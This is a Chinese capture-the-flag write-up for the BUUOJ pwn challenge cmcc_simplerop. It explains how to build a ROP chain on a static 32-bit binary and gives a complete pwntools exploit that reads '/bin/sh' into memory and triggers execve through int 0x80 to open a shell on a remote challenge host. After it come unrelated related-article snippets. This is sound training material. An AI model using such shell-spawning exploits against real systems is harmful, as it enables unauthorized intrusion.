【pwn】cmcc_simplerop --rop链的构造

程序保护情况检查

32位程序,堆栈不可执行

主函数:

左边又是一堆函数,file看一下

发现是静态链接,那ret2libc不用考虑了,接着看一下有没有int 80

那可以考虑利用rop链调用execve函数,用系统调用的函数参数是存在寄存器中的,但是本程序找不到/bin/sh的字符串,可以利用read函数读入/bin/sh字符串

然后就是找gadget

exp:

from pwn import *

context(os='linux',arch='i386',log_level='debug')

io=remote("node5.buuoj.cn",26245)

read_plt=0x0806CD50

int_addr=0x080493e1

bin_addr=0x080EA825

pop_edx_ecx_ebx=0x0806e850

pop_eax=0x080bae06

payload=b'a'*(0x1c+0x4)+p32(read_plt)+p32(pop_edx_ecx_ebx)+p32(0)+p32(bin_addr)+p32(8)

payload+=p32(pop_eax)+p32(11)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bin_addr)+p32(int_addr)

#第一个payload的pop_edx_ecx_ebx是为了将栈中的三个数据弹出,执行pop_eax

io.recvuntil(b"Your input :")

io.send(payload)

io.sendline(b"/bin/sh\x00")

io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/617207.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

弹性布局(Flex)

目录 1、概述 2、基本概念 3、布局方向 4、布局换行 5、主轴对齐方式 6、交叉轴对齐方式 6.1、容器组件设置交叉轴对齐 6.2、子组件设置交叉轴对齐 7、内容对齐 8、自适应拉伸 9、相关实例 1、概述 弹性布局(Flex)提供更加有效的方式对容器中…

《GreenPlum系列》GreenPlum初级教程-03GreenPlum系统管理

文章目录 第三章 GreenPlum系统管理1.关于GreenPlum数据库发布版本号2.启动和停止GreenPlum数据库2.1 启动数据库2.2 重启数据库2.3 仅重新载入配置文件更改2.4 停止GreenPlum数据库2.5 停止客户端进程 3.GreenPlum数据库状态查询4.访问GreenPlum数据库4.1 数据库会话参数4.2 支…

C++力扣题目106,105--中序和后序,前序和中序遍历构造二叉树

106.从中序与后序遍历序列构造二叉树 力扣题目链接(opens new window) 根据一棵树的中序遍历与后序遍历构造二叉树。 注意: 你可以假设树中没有重复的元素。 例如,给出 中序遍历 inorder [9,3,15,20,7]后序遍历 postorder [9,15,7,20,3] 返回如下的二叉树&am…

【服务器】服务器管理 - cockpit开启

开启cockpit #!/bin/bashsed -i s/is():where()/is(*):where(*)/ /usr/share/cockpit/static/login.jssystemctl enable --now cockpit.socket #开启cockpit服务systemctl start cockpit.socket 登录 https://ip:9090

MFC 记录字段交换(RFX)学习

MFC ODBC 数据库类可自动移动数据源与记录集对象之间的数据。 从 CRecordset 派生类且不使用批量取行时,数据将通过记录字段交换 (RFX) 机制进行传输。 如果已在派生的 CRecordset 类中实现批量取行,则此框架将使用批量记录字段交换(批量 RFX)机制来传输数据。 RFX 类似于…

jQuery文字洗牌动效

html代码 效果展示 jQuery文本洗牌效果插件 <div class"container"><p class"lead">文本洗牌动画特效</p><h1 id"basic">A time to seek,</h1><h1 id"custom">and a time to lose;</h1> &…

Unity Shader 开发入门3 —— 坐标空间变换

文章目录 一、变换矩阵1.1 齐次坐标1.2 平移矩阵1.3 旋转矩阵1.4 缩放矩阵1.5 复合变换 二、世界空间变换三、观察空间变换四、裁剪空间变换4.1 视椎体4.2 齐次裁剪空间4.3 视椎体投影方式 五、屏幕空间变换 ​ 在 Shader 开发中存在不同的坐标空间&#xff0c;包括&#xff1a…

Open3D 截取感兴趣的点云部分

import time import open3d as o3d; import numpy as np; import matplotlib.pyplot as plt from scipy.signal import find_peaks#坐标 mesh_coord_frame o3d.geometry.TriangleMesh.create_coordinate_frame(size355, origin[0, 0, 0]) #mesh_coord_frame mesh_coord_frame…

云服务器十大服务商——云服务器哪家好用

云服务器哪家便宜&#xff1f;2024最新整理你要的都在这&#xff01;头部云厂商阿里云、腾讯云、华为云、京东云、UCloud等都在降价&#xff0c;阿腾云atengyun.com分享2024年云服务器租用价格给你惊喜&#xff01; 便宜云服务器阿里云腾讯云华为云 2024年便宜云服务器汇总&…

性能测试分析案例-定位服务吞吐量下降

环境准备 预先安装 docker、curl、wrk、perf、FlameGraph 等工具 sudo yum groupinstall Development Tools # 安装火焰图工具 git clone https://github.com/brendangregg/FlameGraph # 安装wrk git clone https://github.com/wg/wrk cd wrk && make && sud…

创建了使用说明书之后,怎样才能监测用户的行为和反馈?

在当今数字化的时代&#xff0c;了解用户的行为和反馈对于产品和服务的质量提升至关重要。对于使用说明书而言&#xff0c;仅仅创建出来是远远不够的&#xff0c;还需要持续地监测用户的行为和反馈&#xff0c;以便不断优化和改进。那怎样才能有效地监测用户的行为和反馈呢&…

vue3打包后页面空白解决方法

vue3打包后页面空白解决方法 问题解决方法 问题 最近写一个小项目 没有打包的时候一切正常 技术栈用的vue3 vite 我用的是npm创建的项目 npm init vuelatest问题一 &#xff1a;打包后页面空白&#xff0c;什么都没有 问题二&#xff1a;刷新页面后找不到资源 把url的inde…

最佳解决方案:如何在网络爬虫中解决验证码

Captcha&#xff08;全自动区分计算机和人类的公开图灵测试&#xff09;是广泛应用的安全措施&#xff0c;用于区分合法的人类用户和自动化机器人。它通过呈现复杂的挑战&#xff0c;包括视觉上扭曲的文本、复杂的图像或复杂的拼图等方式&#xff0c;要求用户成功解决这些挑战以…

5、MAE:探索视觉预训练模型

目录 1、论文 2、背景与动机 3、回答的问题 4、创新与卖点 5、实现细节 模型框架 具体步骤 简单代码示例 6、一些资料 1、论文 Masked Autoencoders Are Scalable Vision Learnershttps://arxiv.org/pdf/2111.06377.pdf 2、背景与动机 在深度学习和计算机视觉的领域中…

Centos7,Python3.7.6安装模块Crypto,pycryptodome,ibm_db,requests,requests_pkcs12

Centos7,Python3.7.6安装模块Crypto&#xff0c;pycryptodome&#xff0c;ibm_db&#xff0c;requests,requests_pkcs12 Python版本&#xff1a;python3.7.6 对应的各种模块 前言&#xff1a;把python项目放到linux上运行时&#xff0c;提示缺少各种模块&#xff0c;安装命令…

【NetApp数据恢复】NetApp存储中Oracle数据库数据恢复案例

NetApp数据恢复环境&#xff1a; NetApp某型号存储&#xff0c;存储中有数十块SAS硬盘&#xff0c;该型号NetApp存储硬盘是扇区大小是520字节。存储中的lun都映射给小型机使用&#xff0c;存放Oracle数据库文件&#xff0c;采用ASM裸设备存储方式。 NetApp存储故障&#xff1a…

Linux tail命令详解和高级用法举例

目 录 一、概述 二、tail命令解释 1&#xff0e;命令格式; 2&#xff0e;功能 3&#xff0e;选项 4&#xff0e;选项的基本用法 &#xff08;1&#xff09; 显示行号 &#xff08;2&#xff09;忽略指定字符数 &#xff08;3&#xff09; 不显示文件名 三…

前端面试题集合一

Canvas是什么&#xff1f;怎样写Canvas&#xff1f; Canvas是HTML5的一个元素&#xff0c;它使用JavaScript在网页上绘制图形。Canvas是一个矩形区域。它的每一个像素都可以由HTML5语言来控制。使用Canvas绘制路径、框、圆、字符和添加图像有几种方法。 如果要在我们的HTML文…

ASP .net core微服务实战(杨中科)

背景&#xff1a; 主要是思考下&#xff0c;我们为什么要用微服务&#xff1f; 微服务我现在理解是&#xff1a;提供了我们一种模块化的手段&#xff0c;一个服务负责一种类型的业务&#xff0c;是一种面对复杂问题进行拆分的方式&#xff0c;但是也会引入一些中间件&#xf…

【期末考试】网络综合复习宝典

相关链接 网络复习思维导图&#xff08;HCIP&#xff09;https://www.edrawsoft.cn/viewer/public/s/038e2370897928 详述循环冗余校验CRC码https://blog.csdn.net/liht_1634/article/details/124328005?app_version6.2.6&codeapp_1562916241&csdn_share_tail%7B%22…